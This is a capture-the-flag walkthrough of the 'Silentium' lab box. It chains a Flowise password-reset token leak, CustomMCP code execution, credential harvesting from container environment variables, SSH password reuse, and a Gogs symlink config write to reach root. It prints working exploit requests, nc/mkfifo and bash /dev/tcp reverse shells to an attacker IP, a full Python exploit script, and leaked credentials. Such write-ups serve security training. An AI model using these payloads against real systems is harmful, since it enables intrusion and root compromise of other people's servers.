Machine Info

  • Name: Silentium
  • IP: 10.129.245.103
  • OS: Ubuntu 24.04.4 LTS
  • Difficulty: Medium
  • Key Skills: vhost enumeration, Flowise auth chain (advisory id 2025-58434 + 2025-59528), Docker container code-exec to env-var harvest, SSH password reuse, Gogs symlink-based config write (advisory id 2025-8110) leading to root via core.sshCommand injection.

Summary

Silentium is a Linux box that ladders an unauth Flowise password-reset-token leak into authenticated Flowise admin, then into pre-auth-feeling code-exec inside a Flowise Docker container by pairing an x-request-from: internal header with the CustomMCP node abuse. Container env vars surrender Ben’s host SMTP password, which doubles as his SSH password (predictably, given the box’s name). On the host, Gogs 0.13.3 runs as root behind nginx on a separate vhost. A captcha-protected sign-up plus a Gogs symlink advisory lets a regular user overwrite a repo’s .git/config through the file-update API. The poisoned core.sshCommand fires when Gogs’s own background worker performs an internal git operation, popping a root reverse shell.


Phase 1: Recon

Quick TCP scan, plus a vhost discovery sweep against the discovered hostname silentium.htb.

nmap -sC -sV -Pn --min-rate 1000 -oN nmap.txt 10.129.245.103
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open  http    nginx 1.24.0 (Ubuntu)
       Title: Silentium | Institutional Capital & Lending Solutions

Port 80 serves a static finance-themed marketing page. The interesting team card is “Ben - Head of Financial Systems”, no last name. Nginx is configured to redirect any unknown vhost to silentium.htb, so unknown hosts return a 178-byte 301. That makes vhost enum trivial - any non-redirected response is a hit.

ffuf -u http://10.129.245.103/ \
     -H "Host: FUZZ.silentium.htb" \
     -w subdomains-top1million-20000.txt \
     -fs 178 -t 30

Result: staging.silentium.htb (3142 bytes, 200 OK).

Add it to /etc/hosts (or use --resolve everywhere) and pull the page:

curl -s http://staging.silentium.htb/ | head -3
<title>Flowise - Build AI Agents, Visually</title>

A second look at the SPA bundle confirms the version:

curl -s http://staging.silentium.htb/api/v1/version
# {"version":"3.0.5"}

Flowise 3.0.5 is in the affected range for several public advisories, and crucially predates the 3.0.6 patch for the CustomMCP code-exec issue. That puts the foothold path in writing distance: leak a reset token with 2025-58434, login as the admin, and shoot the 2025-59528 code-exec at CustomMCP.


Phase 2: Foothold via Flowise (advisory chain 2025-58434 + 2025-59528)

2.1 Email enumeration through forgot-password

Flowise’s password-reset endpoint accepts a JSON body shaped as {"user":{"email":"X"}}. On a known user, the endpoint returns the entire user record in the response body, including the freshly-minted tempToken. That is the leak.

A quick spray with the obvious admin candidate names from the marketing page:

curl -sk \
  -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'
{
  "user": {
    "id": "e26c9d6c-...-01813e8fea73",
    "name": "admin",
    "email": "[email protected]",
    "credential": "$2a$05$XSHgyGhw5nv...",
    "tempToken": "ry9Yn7DpxVpyYYyA37H25aqMKG1NBVsSpfbC13RUEGfPUm3iHYek37YjFBH3bRAX",
    "tokenExpiry": "2026-05-02T06:20:08.165Z",
    "status": "active"
  }
}

Ben is the admin, and his reset token is one POST away.

2.2 Reset Ben’s password

The reset endpoint expects password (not credential) in the body. With the token in hand:

curl -sk \
  -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"ry9Yn7Dpx...","password":"PwnedHTB!1"}}'

Response 201 with the user record showing a new bcrypt hash. Ben’s account is owned.

2.3 Real login lives at /api/v1/auth/login

A common dead end is to POST credentials at /api/v1/account/login. That route exists but is a no-op success path - it does not mint the session cookie. The actual login that produces a JWT cookie + connect.sid is at:

curl -sk -c jar -b jar \
  -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"PwnedHTB!1"}'

Three cookies come back: token=<JWT>, refreshToken=<JWT>, connect.sid=<sessid>. Both the JWT cookie and the connect.sid cookie are required for any subsequent /api/v1/** call (the JWT strategy reads req.cookies['token'] but rejects unless req.user is populated by passport.session(), which only happens with the express session cookie).

2.4 CustomMCP code-exec via x-request-from header gating

Flowise 3.0.5 routes /api/v1/node-load-method/customMCP through the regular Flowise auth gate, but the gate uses x-request-from: internal to decide between API-key validation and verifyToken. With the JWT cookie + the header, the path is reachable. The CustomMCP handler runs Function('return ' + mcpServerConfig)() against an attacker-controlled string. From the IIFE, process.mainModule.require('child_process') is the live Node child_process module.

The cleanest payload is async, detached, single-stage. execSync plus curl | bash is a tempting one-liner but the parent dies right after the IIFE returns, orphan-killing the child before it networks. cp.spawn with detached:true, stdio:'ignore' plus .unref() survives that:

curl -sk \
  -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "x-request-from: internal" \
  -H "Content-Type: application/json" \
  -b jar \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\u0027child_process\u0027);cp.spawn(\u0027/bin/sh\u0027,[\u0027-c\u0027,\u0027rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.16.3 4444 > /tmp/f\u0027],{detached:true,stdio:\u0027ignore\u0027}).unref();return 1;})()})"}}'

The container is Alpine 3.22 with no bash and no /dev/tcp, but it does have nc and python. The mkfifo pipe + busybox nc combo is the right shape for this filesystem.

Listener:

nc -l 4444

Output:

/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root) groups=0(root),0(root),...
/ # hostname
c78c3cceb7ba

Root inside the container, but it is just a container. ls / confirms .dockerenv, and /etc/os-release confirms Alpine.


Phase 3: Container escape via env

Flowise stores its admin credentials as env vars. env inside the container hands them over.

/ # env | grep -iE "secret|key|pass|user|host"
FLOWISE_PASSWORD=F1l3_d0ck3r
HOSTNAME=c78c3cceb7ba
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USERNAME=test
FLOWISE_USERNAME=ben
SECRETKEY_PATH=/root/.flowise
SMTP_PASSWORD=r04D!!_R4ge
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

The naive guess is FLOWISE_PASSWORD=F1l3_d0ck3r reuses against the host as ben. It does not. The actual hit is SMTP_PASSWORD, which the box author also planted as Ben’s host SSH password.

sshpass -p 'r04D!!_R4ge' ssh [email protected] 'id; cat /home/ben/user.txt'
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
9741e542abb0d6d6a37d4a718f905dc8

User flag captured.


Phase 4: Privilege escalation via Gogs (advisory id 2025-8110)

4.1 Surface map on the host

A quick ss -tln and ps -eo user,pid,cmd paint the local picture:

  • 127.0.0.1:3000 - dockerized Flowise (the staging vhost behind nginx)
  • 127.0.0.1:3001 - Gogs (vhost staging-v2-code.dev.silentium.htb), RUN_USER=root
  • 127.0.0.1:1025, 127.0.0.1:8025 - dockerized MailHog
  • 127.0.0.1:36653 - a small Gin-style root-owned helper (not load-bearing for this chain)

Ben can read /opt/gogs/gogs/custom/conf/app.ini (the Gogs install config), but not /opt/gogs/data/ (that lives behind a separate uid). Highlights from the readable app.ini:

RUN_USER   = root

[security]
INSTALL_LOCK = true
SECRET_KEY   = sdsrcxSm0iC7wDO

[auth]
DISABLE_REGISTRATION        = false
ENABLE_REGISTRATION_CAPTCHA = true

Gogs runs as root, registration is open, captcha is on, install is locked.

4.2 Solving the registration captcha

Tunnel 3001 (and 8025 for MailHog UI in case the email path is needed) to localhost:

ssh -f -N -L 3001:127.0.0.1:3001 -L 8025:127.0.0.1:8025 [email protected]

Gogs ships with go-macaron/captcha wrapping dchest/captcha. The captcha id is single-shot - any verify, success or failure, deletes the answer from the session store. So the workflow has to be: GET the form, GET the image with the same i_like_gogs cookie, OCR the digits, POST once.

Default Tesseract chokes on dchest’s noise. Compositing the alpha onto a white background, thresholding at ~200, then upscaling 4x gives a clean enough binary image to read by eye (the noise lines and dots are obvious; the digits are clear).

RESP=$(curl -sk --resolve "staging-v2-code.dev.silentium.htb:3001:127.0.0.1" \
        -i "http://staging-v2-code.dev.silentium.htb:3001/user/sign_up")
SESSION=$(echo "$RESP" | grep -oE 'i_like_gogs=[^;]+' | head -1)
CSRF_COOKIE=$(echo "$RESP" | grep -oE '_csrf=[^;]+' | head -1)
csrf=$(echo "$RESP" | grep -oE 'name="_csrf" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"$//')
captcha_id=$(echo "$RESP" | grep -oE 'name="captcha_id" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"$//')
COOKIES="$SESSION; $CSRF_COOKIE"

curl -sk --resolve "staging-v2-code.dev.silentium.htb:3001:127.0.0.1" \
     -H "Cookie: $COOKIES" \
     "http://staging-v2-code.dev.silentium.htb:3001/captcha/${captcha_id}.png" \
     -o cap.png

# Read the digits, then submit:
curl -sk --resolve "staging-v2-code.dev.silentium.htb:3001:127.0.0.1" \
     -H "Cookie: $COOKIES" \
     -X POST "http://staging-v2-code.dev.silentium.htb:3001/user/sign_up" \
     --data-urlencode "_csrf=$csrf" \
     --data-urlencode "user_name=pwner" \
     --data-urlencode "[email protected]" \
     --data-urlencode "password=PwnedHTB!1" \
     --data-urlencode "retype=PwnedHTB!1" \
     --data-urlencode "captcha_id=$captcha_id" \
     --data-urlencode "captcha=996723"

302 to /user/login means the captcha matched and the user is created. Login, then mint an API token via Basic auth:

curl -u "pwner:PwnedHTB!1" \
     -X POST http://127.0.0.1:3001/api/v1/users/pwner/tokens \
     -H "Content-Type: application/json" \
     -d '{"name":"pwn"}'
# {"name":"pwn","sha1":"9866b8fa0c6611182a99e5b59b897de1fd8eab2f"}

Gogs’s PUT /api/v1/repos/{user}/{repo}/contents/{path} endpoint resolves the repo path through git plumbing, and follows symlinks when committing the file content. Commit a symlink named malicious_link pointing to .git/config, then PUT a new payload at malicious_link, and the new content lands in the bare repo’s config instead of in malicious_link.

The payload sets core.sshCommand to a reverse-shell one-liner and points [remote "origin"] url at a git@localhost:... URL. When Gogs’s internal worker performs any git operation that uses the remote (Gogs runs git in a temporary local-repo workspace at /opt/gogs/gogs/data/tmp/local-repo/N/ for several internal flows), core.sshCommand fires.

Run the exploit from Ben’s shell on the host so git speaks to localhost natively without dealing with the staging-v2-code domain:

#!/usr/bin/env python3
import os, shutil, subprocess, base64, secrets, requests

BASE = "http://127.0.0.1:3001"
USER = "pwner"
PASS = "PwnedHTB!1"
TOKEN = "9866b8fa0c6611182a99e5b59b897de1fd8eab2f"
LHOST = "10.10.16.3"
LPORT = "4444"

s = requests.Session()
s.headers["Authorization"] = f"token {TOKEN}"

repo = "pwn" + secrets.token_hex(4)
s.post(f"{BASE}/api/v1/user/repos",
       json={"name": repo, "auto_init": True, "readme": "Default"})

repo_dir = f"/tmp/{repo}"
shutil.rmtree(repo_dir, ignore_errors=True)
clone_url = f"http://{USER}:{PASS}@127.0.0.1:3001/{USER}/{repo}.git"
subprocess.check_call(["git", "clone", clone_url, repo_dir])
subprocess.check_call(["git", "-C", repo_dir, "config", "user.email", "x@x"])
subprocess.check_call(["git", "-C", repo_dir, "config", "user.name", "x"])

os.symlink(".git/config", os.path.join(repo_dir, "malicious_link"))
subprocess.check_call(["git", "-C", repo_dir, "add", "malicious_link"])
subprocess.check_call(["git", "-C", repo_dir, "commit", "-m", "x"])
subprocess.check_call(["git", "-C", repo_dir, "push", "origin", "master"])

api = f"{BASE}/api/v1/repos/{USER}/{repo}/contents/malicious_link"
sha = s.get(api).json()["sha"]

rev = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1' #"
payload = f"""[core]
\trepositoryformatversion = 0
\tfilemode = true
\tbare = false
\tlogallrefupdates = true
\tsshCommand = {rev}
[remote \"origin\"]
\turl = git@localhost:gogs/research.git
\tfetch = +refs/heads/*:refs/remotes/origin/*
[branch \"master\"]
\tremote = origin
\tmerge = refs/heads/master
"""

s.put(api, json={
    "message": "x",
    "content": base64.b64encode(payload.encode()).decode(),
    "sha": sha,
})

The PUT returns 500 (Gogs surfaces a generic error after the symlink-write goes sideways), but the side-effect already happened. Within a few seconds the listener takes the connection.

nc -l 4444
bash: cannot set terminal process group (1521): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# id
uid=0(root) gid=0(root) groups=0(root)
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# cat /root/root.txt
dcd818ea48a21a0d39b3e97102d05101

The shell lands in /opt/gogs/gogs/data/tmp/local-repo/1/, which confirms the trigger - that directory is exactly Gogs’s scratch space for the internal git operation that consumed our poisoned config.


Lessons

  • Forget what is documented and read the response body. A reset endpoint that returns the user record with the token in it is not subtle once you see the bytes.
  • Treat x-request-from: internal as a hint, not a bypass. It only chooses which auth path runs - in 3.0.5 it routes to verifyToken, which still needs both cookies. The cookie-jar is the lever.
  • Container env vars are still the loudest credential leak in 2026. The SMTP_PASSWORD reuse on host SSH is a tiny twist that costs nothing to check and saves the rest of the privesc.
  • dchest captcha is single-shot. Plan the workflow accordingly: GET form, GET image with same session cookie, solve once, POST once. Tesseract needs alpha-composited input or it returns nothing.
  • Gogs 0.13.3 with RUN_USER=root and an unpatched symlink bug is a one-step privesc once any account exists. Captcha is the only friction, and OCR plus a clean session does it on a single request.